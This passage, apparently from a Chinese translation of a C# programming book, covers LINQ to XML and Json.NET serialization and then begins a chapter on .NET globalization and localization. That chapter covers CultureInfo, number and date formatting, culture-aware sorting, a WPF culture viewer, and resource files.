OSRIC 2 officers. MARCELLUS BERNARDO 27.6.9 转换为XML 因为使用XElement类及其灵活的构造函数,传递任意数量的子元素,就很容易创建 出XML,所以前面的示例可以改为创建XML,而不是对象列表。查询与前面的代码示例 相同。不同的是,传递名称hamlet,创建一个新的XElement。hamlet是这个生成的XML的 根元素。子元素用Select()方法的结果创建,之后使用Descendants()方法来选择所有 PGROUP元素。对于每一个组,都创建一个新组XElement。每一组包含一个带有组号的 number特性、一个包含描述的description特性,和包含name元素列表的characters元素(代 码文件LinqToXmlSample / Program.cs): public static void TransformingToXml() { XDocument doc = XDocument.Load(HamletFileName); var hamlet = new XElement("hamlet", doc.Descendants("PGROUP") .Select((g, i) => new XElement("group", new XAttribute("number", i + 1), new XAttribute("description", g.Element("GRPDESCR").Value), new XElement("characters", g.Elements("PERSONA").Select(p => new XElement("name", p.Value)) )))); WriteLine(hamlet); } 运行应用程序时,可以看到如下生成的XML片段: <hamlet> <group number="1" description="courtiers."> <characters> <name>VOLTIMAND</name> <name>CORNELIUS</name> <name>ROSENCRANTZ</name> <name>GUILDENSTERN</name> <name>OSRIC</name> </characters> </group> <group number="2" description="officers."> <characters> <name>MARCELLUS</name> <name>BERNARDO</name> </characters> </group> </hamlet> 27.7 JSON 花了很长时间学习.NET Framework的许多XML特性后,下面学习JSON数据格式。 Json.NET提供了一个巨大的API,在其中可以使用JSON完成本章使用XML完成的许多工 作,这里介绍其中的一些。 示例代码使用了以下依赖项和名称空间: 依赖项: NETStandard.Library Newtonsoft.Json System.Xml.XDocument 名称空间: Newtonsoft.Json Newtonsoft.Json.Linq System System.IO System.Xml.Linq static System.Console 27.7.1 创建JSON 为了使用JSON.NET手动创建JSON对象,Newtonsoft.Json.Linq名称空间提供了几个类 型。JObject代表JSON对象。JObject是一个字典,其键是字符串(.NET对象的属性名), 其值是JToken。这样,JObject提供了索引访问。JSON对象的数组由JArray类型定义。 JObject和JArray派生于抽象基类JContainer,其中包含了JToken对象的列表。 下面的代码片段创建JObject对象book1和book2,使用字典索引访问填充了title和 publisher。两个book对象添加到JArray中(代码文件JsonSample / Program.cs): public static void CreateJson() { var book1 = new JObject(); book1["title"] = "Professional C# 6 and .NET 5 Core"; book1["publisher"] = "Wrox Press"; var book2 = new JObject(); book2["title"] = "Professional C# 5 and .NET 4.5.1"; book2["publisher"] = "Wrox Press"; var books = new JArray(); books.Add(book1); books.Add(book2); var json = new JObject(); json["books"] = books; WriteLine(json); } 运行应用程序,看看生成的JSON代码: { "books": [ { "title": "Professional C# 6 and .NET 5 Core", "publisher": "Wrox Press" }, { "title": "Professional C# 5 and .NET 4.5.1", "publisher": "Wrox Press" } ] } 27.7.2 转换对象 除了使用JsonObject和JsonArray创建JSON内容之外,还可以使用JsonConvert类。 JsonConvert允许从对象树中创建JSON,把JSON字符串转换回对象树。 在本节的示例代码中,从辅助方法GetInventoryObject中创建一个Inventory对象(代码 文件JsonSample / Program.cs): public static Inventory GetInventoryObject() => new Inventory { InventoryItems = new Product[] { new Product { ProductID = 100, ProductName = "Product Thing", SupplierID = 10 }, new BookProduct { ProductID = 101, ProductName = "How To Use Your New Product Thing", SupplierID = 10, ISBN = "1234567890" } } }; 方法ConvertObject使用JsonConvert.SerializeObject检索Inventory对象,并将其转换为 JSON。SerializeObject的第二个参数允许把格式定义为None或Indented。None最适合将空 白降到最低;Indented提供了更好的可读性。JSON字符串写入控制台,之后使用 JsonConvert.DeserializeObject转换回对象树。DeserializeObject有几个重载版本,泛型变体 返回泛型类型,而不是一个对象,所以没有必要进行类型转换: public static void ConvertObject() { Inventory inventory = GetInventoryObject(); string json = JsonConvert.SerializeObject(inventory, Formatting.Indented); WriteLine(json); WriteLine(); Inventory newInventory = JsonConvert.DeserializeObject<Inventory>(json); foreach (var product in newInventory.InventoryItems) { WriteLine(product.ProductName); } } 运行应用程序,在控制台显示JSON生成的Inventory类型: { "InventoryItems": [ { "Discount": 0, "ProductID": 100, "ProductName": "Product Thing", "SupplierID": 10, "CategoryID": 0, "QuantityPerUnit": null, "UnitPrice": 0.0, "UnitsInStock": 0, "UnitsOnOrder": 0, "ReorderLevel": 0, "Discontinued": false }, { "ISBN": "1234567890", "Discount": 0, "ProductID": 101, "ProductName": "How To Use Your New Product Thing", "SupplierID": 10, "CategoryID": 0, "QuantityPerUnit": null, "UnitPrice": 0.0, "UnitsInStock": 0, "UnitsOnOrder": 0, "ReorderLevel": 0, "Discontinued": false } ] } 转换回JSON对象,显示产品名称: Product Thing How To Use Your New Product Thing 27.7.3 序列化对象 类似于XmlSerializer,还可以直接把JSON字符串写入文件。下面的代码片段检索 Inventory对象,并使用JsonSerializer将它写到一个文件流中(代码文件JsonSample / Program.cs): public static void SerializeJson() { using (StreamWriter writer = File.CreateText(InventoryFileName)) { JsonSerializer serializer = JsonSerializer.Create( new JsonSerializerSettings { Formatting = Formatting.Indented }); serializer.Serialize(writer, GetInventoryObject()); } } 可以通过调用JsonSerializer的Deserialize方法,从流中转换JSON: public static void DeserializeJson() { using (StreamReader reader = File.OpenText(InventoryFileName)) { JsonSerializer serializer = JsonSerializer.Create(); var inventory = serializer.Deserialize(reader, typeof(Inventory)) as Inventory; foreach (var item in inventory.InventoryItems) { WriteLine(item.ProductName); } } } 27.8 小结 本章探讨了.NET Framework的System.Xml名称空间中的许多内容,其中包括如何使 用基于XMLReader和XmlWriter的类快速读写XML文档,如何使用XmlDocument类在.NET 中实现DOM,如何使用DOM的强大功能。另外,我们还介绍了XPath,可以把对象序列 化到XML中,还可以通过两个方法调用对其进行反序列化。 本章介绍了如何使用LINQ to XML创建XML文档和片段,使用XML数据创建查询。 除了XML之外,本章还介绍了如何使用JSON和Json.NET序列化对象,解析JSON字符 串,来建立.NET对象。 下一章讨论如何使用基于XML的资源文件本地化.NET应用程序。 第28章 本地化 本章要点 ● 数字和日期的格式化 ● 为本地化内容使用资源 ● 本地化WPF桌面应用程序 ● 本地化ASP.NET Core Web应用程序 ● 本地化通用Windows应用程序 ● 创建自定义资源读取器 ● 创建自定义区域性 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● NumberAndDateFormatting ● SortingDemo ● CreateResource ● WPFCultureDemo ● ResourcesDemo ● WPFApplication ● WebApplication ● UWPLocalization ● DatabaseResourceReader ● CustomCultures 28.1 全球市场 价值1.25亿美元的NASA的火星气象卫星在1999年9月23日失踪了,其原因是一个工程 组为一个关键的太空操作使用了米制单位,而另一个工程组以英寸为单位。当编写的应用 程序要在世界各国发布时,必须考虑不同的区域性和区域。 不同的区域性在日历、数字和日期格式上各不相同。按照字母A~Z给字符串排序也 会导致不同的结果,因为存在不同的文化差异。为了使应用程序可应用于全球市场,就必 须对应用程序进行全球化和本地化。 本章将介绍.NET应用程序的全球化和本地化。全球化(globalization)用于国际化的 应用程序:使应用程序可以在国际市场上销售。采用全球化策略,应用程序应根据区域 性、不同的日历等支持不同的数字和日期格式。本地化(localization)用于为特定的区域 性翻译应用程序。而字符串的翻译可以使用资源,如.NET资源或WPF资源字典。 .NET支持Windows和Web应用程序的全球化和本地化。要使应用程序全球化,可以使 用System.Globalization名称空间中的类;要使应用程序本地化,可以使用System.Resources 名称空间支持的资源。 图28-1 28.2 System.Globalization名称空间 System.Globalization名称空间包含了所有的区域性和区域类,以支持不同的日期格 式、不同的数字格式,甚至由GregorianCalendar类、HebrewCalendar类和JapaneseCalendar 类等表示的不同日历。使用这些类可以根据不同的地区显示不同的表示法。 本节讨论使用System.Globalization名称空间时要考虑的如下问题: ● Unicode问题 ● 区域性和区域 ● 显示所有区域性及其特征的例子 ● 排序 28.2.1 Unicode问题 因为一个Unicode字符有16位,所以共有65 536个Unicode字符。这对于当前在信息技 术中使用的所有语言够用吗?例如,汉语就需要80 000多个字符。但是,Unicode可以解 决这个问题。使用Unicode必须区分基本字符和组合字符。可以给一个基本字符添加若干 个组合字符,组成一个可显示的字符或一个文本元素。 例如,冰岛的字符Ogonek就可以使用基 本字符0x006F(拉丁小写字母o)、组合字 符0x0328(组合Ogonek)和0x0304(组合 Macron)组合而成,如图28-1所示。组合字 符在0x0300~0x0345之间定义,对于美国和欧洲市场,预定义字符有助于处理特殊的字 符。字符Ogonek也可以用预定义字符0x01ED来定义。 对于亚洲市场,只有汉语需要80 000多个字符,但没有这么多的预定义字符。在亚洲 语言中,总是要处理组合字符。其问题在于获取显示字符或文本元素的正确数字,得到基 本字符而不是组合字符。System.Globalization名称空间提供的StringInfo类可以用于处理这 个问题。 表28-1列出了StringInfo类的静态方法,这些方法有助于处理组合字符。 表28-1 方法 说明 GetNextTextElement( ) 返回指定字符串的第一个文本元素(基本 字符和所有的组合字符) GetTextElementEnumerator( ) 返回一个允许迭代字符串中所有文本元素 的TextElementEnumerator对象 ParseCombiningCharacters( ) 返回一个引用字符串中所有基本字符的整 型数组  注意: 一个显示字符可以包含多个Unicode字符。要解决这个问题,如果编 写的应用程序要在国际市场销售,就不应使用数据类型char,而应使用string。string可 以包含由基本字符和组合字符组成的文本元素,而char不具备该作用。 28.2.2 区域性和区域 世界分为多个区域性和区域,应用程序必须知道这些区域性和区域的差异。区域性是 基于用户的语言和文化习惯的一组首选项。RFC 4646(www.ietf.org/rfc/rfc4646.txt)定义 了区域性的名称,这些名称根据语言和国家或区域的不同在世界各地使用。例如,en- AU、en-CA、en-GB和en-US分别用于表示澳大利亚、加拿大、英国和美国的英语。 在System.Globalization名称空间中,最重要的类是CultureInfo。这个类表示区域性, 定义了日历、数字和日期的格式,以及和区域性一起使用的排序字符串。 RegionInfo类表示区域设置(如货币),说明该区域是否使用米制系统。在某些区域 中,可以使用多种语言。例如,西班牙区域就有Basque(eu-ES)、Catalan(ca-ES)、 Spanish(es-ES)和Galician(gl-ES)区域性。一个区域可以有多种语言,同样,一种语 言也可以在多个区域使用;例如,墨西哥、西班牙、危地马拉、阿根廷和秘鲁等都使用西 班牙语。 本章的后面将介绍一个示例应用程序,以说明区域性和区域的这些特征。 1.特定、中立和不变的区域性 在.NET Framework中使用区域性,必须区分3种类型:特定、中立和不变的区域性。 特定的区域性与真正存在的区域性相关,这种区域性用上一节介绍的RFC 4646定义。特 定的区域性可以映射到中立的区域性。例如,de是特定区域性de-AT、de-DE、de-CH等的 中立区域性。de是德语(German)的简写,AT、DE和CH分别是奥地利(Austria)、德 国(Germany)和瑞士(Switzerland)等国家的简写。 在翻译应用程序时,通常不需要为每个区域进行翻译,因为奥地利和瑞士等国使用的 德语没有太大的区别。所以可以使用中立的区域性来本地化应用程序,而不需要使用特定 的区域性。 不变的区域性独立于真正的区域性。在文件中存储格式化的数字或日期,或通过网络 把它们发送到服务器上时,最好使用独立于任何用户设置的区域性。 图28-2显示了区域性类型的相互关系。 图28-2 2. CurrentCulture和CurrentUICulture 设置区域性时,必须区分用户界面的区域性和数字及日期格式的区域性。区域性与线 程相关,通过这两种区域性类型,就可以把两种区域性设置应用于线程。Culture Info类提 供了静态属性CurrentCulture和CurrentUICulture。CurrentCulture属性用于设置与格式化和 排序选项一起使用的区域性,而CurrentUICulture属性用于设置用户界面的语言。 使用Windows设置中的REGION & LANGUAGE选项,用户就可以在Windows操作系 统中安装其他语言,如图28-3所示。配置为默认的语言是当前的UI区域性。 图28-3 要改变当前的区域性,可以使用对话框中的Additional date, time, & regional settings链 接,如图28-3所示。其中,单击Change Date, Time, or Number Formats选项,查看如图28-4 所示的对话框。格式的语言设置会影响当前的区域性。也可以改变独立于区域性的数字格 式、时间格式、日期格式的默认设置。 图28-4 这些设置都提供默认值,在许多情况下,不需要改变默认行为。如果需要改变区域 性,只需要把线程的两个区域性改为Spanish区域性,如下面的代码片段所示(使用名称 空间System.Globalization): var ci = new CultureInfo("es-ES"); CultureInfo.CurrentCulture = ci; CultureInfo.CurrentUICulture = ci; 前面已学习了区域性的设置,下面讨论CurrentCulture设置对数字和日期格式化的影 响。 3.数字格式化 System名称空间中的数字结构Int16、Int32和Int64等都有一个重载的ToString()方 法。这个方法可以根据区域设置创建不同的数字表示法。对于Int32结构,ToString()方 法有下述4个重载版本: public string ToString(); public string ToString(IFormatProvider); public string ToString(string); public string ToString(string, IFormatProvider); 不带参数的ToString()方法返回一个没有格式化选项的字符串,也可以给 ToString()方法传递一个字符串和一个实现IFormatProvider接口的类。 该字符串指定表示法的格式,而这个格式可以是标准数字格式化字符串或者图形数字 格式化字符串。对于标准数字格式化,字符串是预定义的,其中C表示货币符号,D表示 输出为小数,E表示输出用科学计数法表示,F表示定点输出,G表示一般输出,N表示输 出为数字,X表示输出为十六进制数。对于图形数字格式化字符串,可以指定位数、节和 组分隔符、百分号等。图形数字格式字符串###, ###表示:两个3位数块被一个组分隔符分 开。 IFormatProvider接口由NumberFormatInfo、DateTimeFormatInfo和CultureInfo类实现。 这个接口定义了GetFormat()方法,它返回一个格式对象。 NumberFormatInfo类可以为数字定义自定义格式。使用NumberFormatInfo类的默认构 造函数,可以创建独立于区域性的对象或不变的对象。使用这个类的属性,可以改变所有 格式化选项,如正号、百分号、数字组分隔符和货币符号等。从静态属性InvariantInfo返 回一个与区域性无关的只读NumberFormatInfo对象。NumberFormatInfo对象的格式化值取 决于当前线程的CultureInfo类,该线程从静态属性CurrentInfo返回。 示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System System.Globalization static System.Console 下一个示例使用一个简单的控制台应用程序(包)项目。在这段代码中,第一个示例 显示了在当前线程的区域性格式中所显示的数字(这里是English-US,是操作系统的设 置)。第二个示例使用了带有IFormatProvider参数的ToString()方法。CultureInfo类实现 IFormatProvider接口,所以创建一个使用法国区域性的CultureInfo对象。第3个示例改变了 当前线程的区域性。使用CultureInfo实例的CurrentCulture属性,把区域性改为德国(代码 文件NumberAndDateFormatting/Program.cs): public static void NumberFormatDemo() { int val = 1234567890; // culture of the current thread WriteLine(val.ToString("N")); // use IFormatProvider WriteLine(val.ToString("N", new CultureInfo("fr-FR"))); // change the current culture CultureInfo.CurrentCulture = new CultureInfo("de-DE"); WriteLine(val.ToString("N")); }  注意: 在.NET 4.6之前,CultureInfo的CurrentCulture属性是只读的。在.NET 先前的版本中,可以使用Thread.CurrentThread.CurrentCulture设置区域性。 结果如下所示。可以把这个结果与前面列举的美国、英国、法国和德国区域性的结果 进行比较。 1,234,567,890.00 1 234 567 890,00 1.234.567.890,00 4.日期格式化 对于日期,Visual Studio也提供了与数字相同的支持。DateTime结构有一些把日期转 换为字符串的ToString方法的重载。可以传送字符串格式并指定另一种区域性: public string ToString(); public string ToString(IFormatProvider); public string ToString(string); public string ToString(string, IFormatProvider); 使用ToString()方法的字符串参数,可以指定预定义格式字符或自定义格式字符 串,把日期转换为字符串。DateTimeFormatInfo类指定了可能的值。DateTimeFormatInfo 类指定的格式字符串有不同的含义。例如,D表示长日期格式,d表示短日期格式,ddd表 示一星期中某一天的缩写,dddd表示一星期中某一天的全称,yyyy表示年份,T表示长时 间格式,t表示短时间格式。使用IFormatProvider参数可以指定区域性。使用不带 IFormatProvider参数的重载方法,表示所使用的是当前线程的区域性: public static void DateFormatDemo() { var d = new DateTime(2015, 09, 27); // current culture WriteLine(d.ToLongDateString()); // use IFormatProvider WriteLine(d.ToString("D", new CultureInfo("fr-FR"))); // use current culture WriteLine($"{CultureInfo.CurrentCulture}: {d:D}"); CultureInfo.CurrentCulture = new CultureInfo("es-ES"); WriteLine($"{CultureInfo.CurrentCulture}: {d:D}"); } 这个示例程序的结果说明了使用线程的当前区域性的ToLongDateString()方法,其 中给ToString()方法传递一个CultureInfo实例,则显示其法国版本;把线程的 CurrentCulture属性改为es-ES,则显示其西班牙版本,如下所示。 Sunday, September 27, 2015 dimanche 27 septembre 2015 en-US: Sunday, September 27, 2015 es-ES: domingo, 27 de septiembre de 2015 28.2.3 使用区域性 为了全面介绍区域性,下面使用一个WPF应用程序示例,该应用程序列出所有的区 域性,描述区域性属性的不同特征。图28-5显示了该应用程序在Visual Studio 2015 WPF设 计器中的用户界面。 图28-5 在应用程序的初始化阶段,所有可用的区域性都添加到应用程序左边的TreeView控件 中。这个初始化工作在SetupCultures()方法中进行,该方法在MainWindow类的 CultureDemoForm的构造函数中调用(代码文件 WPFCultureDemo/MainWindow.xaml.cs): public MainWindow() { InitializeComponent(); SetupCultures(); } 对于在用户界面上显示的数据,创建自定义类CultureData。这个类可以绑定到 TreeView控件上,因为它的SubCultures属性包含一列CultureData。因此TreeView控件可以 遍历这个树状结构。CultureData不包含子区域性,而包含数字、日期和时间的CultureInfo 类型以及示例值。数字以适用于特定区域性的数字格式返回一个字符串,日期和时间也以 特定区域性的格式返回字符串。CultureData包含一个RegionInfo类来显示区域。对于一些 中立区域性(例如English),创建RegionInfo会抛出一个异常,因为某些区域有特定的区 域性。但是,对于其他中立区域性(例如German),可以成功创建RegionInfo,并映射到 默认的区域上。这里抛出的异常应这样处理(代码文件 WPFCultureDemo/CultureData.cs): public class CultureData { public CultureInfo CultureInfo { get; set; } public List<CultureData> SubCultures { get; set; } double numberSample = 9876543.21; public string NumberSample => numberSample.ToString("N", CultureInfo); public string DateSample => DateTime.Today.ToString("D", CultureInfo); public string TimeSample => DateTime.Now.ToString("T", CultureInfo); public RegionInfo RegionInfo { get { RegionInfo ri; try { ri = new RegionInfo(CultureInfo.Name); } catch (ArgumentException) { // with some neutral cultures regions are not available return null; } return ri; } } } 在SetupCultures()方法中,通过静态方法CultureInfo.GetCultures()获取所有区域 性。给这个方法传递CultureTypes.AllCultures,就会返回所有可用区域性的未排序数组。 该数组按区域性名称来排序。有了排好序的区域性,就创建一个CultureData对象的集合, 并分配CultureInfo和SubCultures属性。之后,创建一个字典,以快速访问区域性名称。 对于应绑定的数据,创建一个CultureData对象列表,在执行完foreach语句后,该列表 将包含树状视图中的所有根区域性。可以验证根区域性,以确定它们是否把不变的区域性 作为其父区域性。不变的区域性把LCID(Locale Identifier)设置为127,每个区域性都有 自己的唯一标识符,可用于快速验证。在代码段中,根区域性在if语句块中添加到 rootCultures集合中。如果一个区域性把不变的区域性作为其父区域性,它就是根区域性。 如果区域性没有父区域性,它就会添加到树的根节点上。要查找父区域性,必须把所 有区域性保存到一个字典中。相关内容参见前面章节,其中第11章介绍了字典,第9章介 绍了lambda表达式。如果所迭代的区域性不是根区域性,它就添加到父区域性的 SubCultures集合中。使用字典可以快速找到父区域性。在最后一步中,把根区域性赋予窗 口的DataContext,使根区域性可用于UI(代码文件 WPFCultureDemo/MainWindow.xaml.cs): private void SetupCultures() { var cultureDataDict = CultureInfo.GetCultures(CultureTypes.AllCultures) .OrderBy(c => c.Name) .Select(c => new CultureData { CultureInfo = c, SubCultures = new List<CultureData>() }) .ToDictionary(c => c.CultureInfo.Name); var rootCultures = new List<CultureData>(); foreach (var cd in cultureDataDict.Values) { if (cd.CultureInfo.Parent.LCID == 127) { rootCultures.Add(cd); } else { CultureData parentCultureData; if (cultureDataDict.TryGetValue(cd.CultureInfo.Parent.Name, out parentCultureData)) { parentCultureData.SubCultures.Add(cd); } else { throw new ParentCultureException( "unexpected error-parent culture not found"); } } } this.DataContext = rootCultures.OrderBy(cd => cd.CultureInfo.EnglishName); } 在用户选择树中的一个节点时,就会调用TreeView类的SelectedItemChanged事件的处 理程序。在这里,这个处理程序在treeCultures_SelectedItemChanged()方法中实现。在 这个方法中,把Grid控件的DataContext设置为选中的CultureData对象。在XAML逻辑树 中,这个Grid控件是显示所选区域性信息的所有控件的父控件。 private void treeCultures_SelectedItemChanged(object sender, RoutedPropertyChangedEventArgs<object> e) { itemGrid.DataContext = e.NewValue as CultureData; } 现在看看显示内容的XAML代码。一个树型视图用于显示所有的区域性。对于在树型 视图内部显示的项,使用项模板。这个模板使用一个文本块,该文本框绑定到CultureInfo 类的EnglishName属性上。为了绑定树型视图中的项,应使用HierarchicalDataTemplate来 递归地绑定CultureData类型的SubCultures属性(代码文件CultureDemo/ MainWindow.xaml): <TreeView SelectedItemChanged="treeCultures_SelectedItemChanged" Margin="5" ItemsSource="{Binding}" > <TreeView.ItemTemplate> <HierarchicalDataTemplate DataType="{x:Type local:CultureData}" ItemsSource="{Binding SubCultures}"> <TextBlock Text="{Binding Path=CultureInfo.EnglishName}" /> </HierarchicalDataTemplate> </TreeView.ItemTemplate> </TreeView> 为了显示所选项的值,使用了几个TextBlock控件,它们绑定到CultureData类的 CultureInfo属性上,从而绑定到从CultureInfo返回的CultureInfo类型的属性上,例如 Name、IsNeutralCulture、EnglishName和NativeName等。要把从IsNeutralCulture属性返回 的布尔值转换为Visiblility枚举值,并显示日历名称,应使用转换器: <TextBlock Grid.Row="0" Grid.Column="0" Text="Culture Name:" /> <TextBlock Grid.Row="0" Grid.Column="1" Text="{Binding CultureInfo.Name}" Width="100" /> <TextBlock Grid.Row="0" Grid.Column="2" Text="Neutral Culture" Visibility="{Binding CultureInfo.IsNeutralCulture, Converter={StaticResource boolToVisiblity}}" /> <TextBlock Grid.Row="1" Grid.Column="0" Text="English Name:" /> <TextBlock Grid.Row="1" Grid.Column="1" Grid.ColumnSpan="2" Text="{Binding CultureInfo.EnglishName}" /> <TextBlock Grid.Row="2" Grid.Column="0" Text="Native Name:" /> <TextBlock Grid.Row="2" Grid.Column="1" Grid.ColumnSpan="2" Text="{Binding CultureInfo.NativeName}" /> <TextBlock Grid.Row="3" Grid.Column="0" Text="Default Calendar:" /> <TextBlock Grid.Row="3" Grid.Column="1" Grid.ColumnSpan="2" Text="{Binding CultureInfo.Calendar, Converter={StaticResource calendarConverter}}" /> <TextBlock Grid.Row="4" Grid.Column="0" Text="Optional Calendars:" /> <ListBox Grid.Row="4" Grid.Column="1" Grid.ColumnSpan="2" ItemsSource="{Binding CultureInfo.OptionalCalendars}"> <ListBox.ItemTemplate> <DataTemplate> <TextBlock Text="{Binding Converter={StaticResource calendarConverter}}" /> </DataTemplate> </ListBox.ItemTemplate> </ListBox> 把布尔值转换为Visiblility枚举值的转换器在BooleanToVisiblilityConverter类中定义 (代码文件WPFCultureDemo\ Converters\ BooleanToVisiblilityConverter.cs): using System; using System.Globalization; using System.Windows; using System.Windows.Data; namespace CultureDemo.Converters { public class BooleanToVisibilityConverter: IValueConverter { public object Convert(object value, Type targetType, object parameter, CultureInfo culture) { bool b = (bool)value; if (b) return Visibility.Visible; else return Visibility.Collapsed; } public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) { throw new NotImplementedException(); } } } 转换日历文本以进行显示的转换器有点复杂。下面是 CalendarTypeToCalendarInformationConverter类中Convert方法的实现代码,该实现代码使 用类名和日历类型名称,给日历返回一个有用的值(代码文件 WPFCultureDemo/Converters/CalendarTypeToCalendarInformationConverter.cs): public object Convert(object value, Type targetType, object parameter, CultureInfo culture) { var c = value as Calendar; if (c == null) return null; var calText = new StringBuilder(50); calText.Append(c.ToString()); calText.Remove(0, 21); // remove the namespace calText.Replace("Calendar", ""); GregorianCalendar gregCal = c as GregorianCalendar; if (gregCal ! = null) { calText.Append($" {gregCal.CalendarType}"); } return calText.ToString(); } CultureData类包含的属性可以为数字、日期和时间格式显示示例信息,这些属性用下 面的TextBlock元素绑定: <TextBlock Grid.Row="0" Grid.Column="0" Text="Number" /> <TextBlock Grid.Row="0" Grid.Column="1" Text="{Binding NumberSample}" /> <TextBlock Grid.Row="1" Grid.Column="0" Text="Full Date" /> <TextBlock Grid.Row="1" Grid.Column="1" Text="{Binding DateSample}" /> <TextBlock Grid.Row="2" Grid.Column="0" Text="Time" /> <TextBlock Grid.Row="2" Grid.Column="1" Text="{Binding TimeSample}" /> 区域的信息用XAML代码的最后一部分显示。如果RegionInfo不可用,就隐藏整个 GroupBox。TextBlock元素绑定了RegionInfo类型的DisplayName、CurrencySymbol、 ISOCurrencySymbol和IsMetric属性: <GroupBox x:Name="groupRegion" Header="Region Information" Grid.Row="6" Grid.Column="0" Grid.ColumnSpan="3" Visibility="{Binding RegionInfo, Converter={StaticResource nullToVisibility}}"> <Grid> <Grid.RowDefinitions> <RowDefinition /> <RowDefinition /> <RowDefinition /> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition /> <ColumnDefinition /> <ColumnDefinition /> </Grid.ColumnDefinitions> <TextBlock Grid.Row="0" Grid.Column="0" Text="Region" /> <TextBlock Grid.Row="0" Grid.Column="1" Grid.ColumnSpan="2" Text="{Binding RegionInfo.DisplayName}" /> <TextBlock Grid.Row="1" Grid.Column="0" Text="Currency" /> <TextBlock Grid.Row="1" Grid.Column="1" Text="{Binding RegionInfo.CurrencySymbol}" /> <TextBlock Grid.Row="1" Grid.Column="2" Text="{Binding RegionInfo.ISOCurrencySymbol}" /> <TextBlock Grid.Row="2" Grid.Column="1" Text="Is Metric" Visibility="{Binding RegionInfo.IsMetric, Converter={StaticResource boolToVisiblity}}" /> </Grid> 启动应用程序,在树型视图中就会看到所有的区域性,选择一个区域性后,就会列出 该区域性的特征,如图28-6所示。 图28-6 28.2.4 排序 SortingDemo示例使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.Collections.NonGeneric 名称空间: System System.Collections System.Collections.Generic System.Globalization static System.Console 排序字符串取决于区域性。在默认情况下,为排序而比较字符串的算法依赖于区域 性。例如在芬兰,字符V和W就是相同的。为了说明芬兰的排序方式,下面的代码创建一 个小型控制台应用程序示例,其中对数组中尚未排序的一些美国州名进行排序。 下面的DisplayName()方法用于在控制台上显示数组或集合中的所有元素(代码文 件SortingDemo/Program.cs): public static void DisplayNames(string title, IEnumerable<string> e) { WriteLine(title); WriteLine(string.Join("-", e)); WriteLine(); } 在Main()方法中,在创建了包含一些美国州名的数组后,就把线程的 CurrentCulture属性设置为Finnish区域性,这样,下面的Array.Sort()方法就使用芬兰的 排列顺序。调用DisplayName()方法在控制台上显示所有的州名: public static void Main() { string[] names = {"Alabama", "Texas", "Washington", "Virginia", "Wisconsin", "Wyoming", "Kentucky", "Missouri", "Utah", "Hawaii", "Kansas", "Louisiana", "Alaska", "Arizona"}; CultureInfo.CurrentCulture = new CultureInfo("fi-FI"); Array.Sort(names); DisplayNames("Sorted using the Finnish culture", names); // etc. } 在以芬兰排列顺序第一次显示美国州名后,数组将再次排序。如果希望排序独立于用 户的区域性,就可以使用不变的区域性。在要将已排序的数组发送到服务器上或存储到某 个地方时,就可以采用这种方式。 为此,给Array.Sort()方法传递第二个参数。Sort()方法希望第二个参数是实现 IComparer接口的一个对象。System.Collections名称空间中的Comparer类实现IComparer接 口。Comparer. DefaultInvariant返回一个Comparer对象,该对象使用不变的区域性比较数 组值,以进行独立于区域性的排序。 public static void Main() { // etc. // sort using the invariant culture Array.Sort(names, System.Collections.Comparer.DefaultInvariant ); DisplayNames("Sorted using the invariant culture", names); } 这个程序的输出显示了用Finnish区域性进行排序的结果和独立于区域性的排序结果。 在使用独立于区域性的排序方式时,Virginia排在Washington的前面。用Finnish区域性进 行排序时,Virginia排在Washington的后面。 Sorted using the Finnish culture Alabama-Alaska-Arizona-Hawaii-Kansas-Kentucky-Louisiana-Missouri-Texas-Utah- Washington-Virginia-Wisconsin-Wyoming Sorted using the invariant culture Alabama-Alaska-Arizona-Hawaii-Kansas-Kentucky-Louisiana-Missouri-Texas-Utah- Virginia-Washington-Wisconsin-Wyoming  注意: 如果对集合进行的排序应独立于区域性,该集合就必须用不变的区域 性进行排序。在把排序结果发送给服务器或存储在文件中时,这种方式尤其有效。为 了给用户显示排序的集合,最好用用户的区域性给它排序。 除了依赖区域设置的格式化和测量系统之外,文本和图片也可能因区域性的不同而有 所变化。此时就需要使用资源。 28.3 资源 像图片或字符串表这样的资源可以放在资源文件或附属程序集中。在本地化应用程序 时,这种资源非常有用,.NET对本地化资源的搜索提供了内置支持。在说明如何使用资 源本地化应用程序之前,先讨论如何创建和读取资源,而无须考虑语言因素。 28.3.1 资源读取器和写入器 在.NET Core中,资源读取器和写入器与完整的.NET版本相比是有限的(在撰写本文 时)。然而,在许多情形下(包括多平台支持),资源读取器和写入器提供了必要的功 能。 CreateResource示例应用程序动态创建了一个资源文件,并从文件中读取资源。这个 示例使用以下依赖项和名称空间: 依赖项: NETStandard.Library System.Resources.ReaderWriter 名称空间: System.Collections System.IO System.Resources static System.Console ResourceWriter允许创建二进制资源。写入器的构造函数需要一个使用File类创建的 Stream。利用AddResource方法添加资源。.NET Core中简单的资源写入器需要带有键和值 的字符串。完整.NET Framework的资源写入器定义了重载版本,来存储其他类型(代码 文件CreateResource /Program.cs): private const string ResourceFile = "Demo.resources"; public static void CreateResource() { FileStream stream = File.OpenWrite(ResourceFile); using (var writer = new ResourceWriter(stream) ) { writer.AddResource("Title", "Professional C#"); writer.AddResource("Author", "Christian Nagel"); writer.AddResource("Publisher", "Wrox Press"); } } 要读取二进制资源文件的资源,可以使用ResourceReader。读取器的GetEnumerator方 法返回一个IDictionaryEnumerator,在以下foreach语句中使用它访问资源的键和值: public static void ReadResource() { FileStream stream = File.OpenRead(ResourceFile); using (var reader = new ResourceReader(stream) ) { foreach (DictionaryEntry resource in reader ) { WriteLine($"{resource.Key} {resource.Value }"); } } } 运行应用程序,返回写入二进制资源文件的键和值。如下一节所示,还可以使用命令 行工具——资源文件生成器(resgen)——创建和转换资源文件。 28.3.2 使用资源文件生成器 资源文件包含图片、字符串表等条目。要创建资源文件,可以使用一般的文本文件, 或者使用那些利用XML的.resX文件。下面从一个简单的文本文件开始。 内嵌字符串表的资源可以使用一般的文本文件来创建。该文本文件只是把字符串赋予 键。键是可以用来从程序中获取值的名称。键和值都可以包含空格。 这个例子显示了Wrox.ProCSharp.Localization.MyResources.txt文件中的一个简单字符 串表: Title = Professional C# Chapter = Localization Author = Christian Nagel Publisher = Wrox Press  注意: 在保存带Unicode字符的文本文件时,必须将文件和相应的编码一起 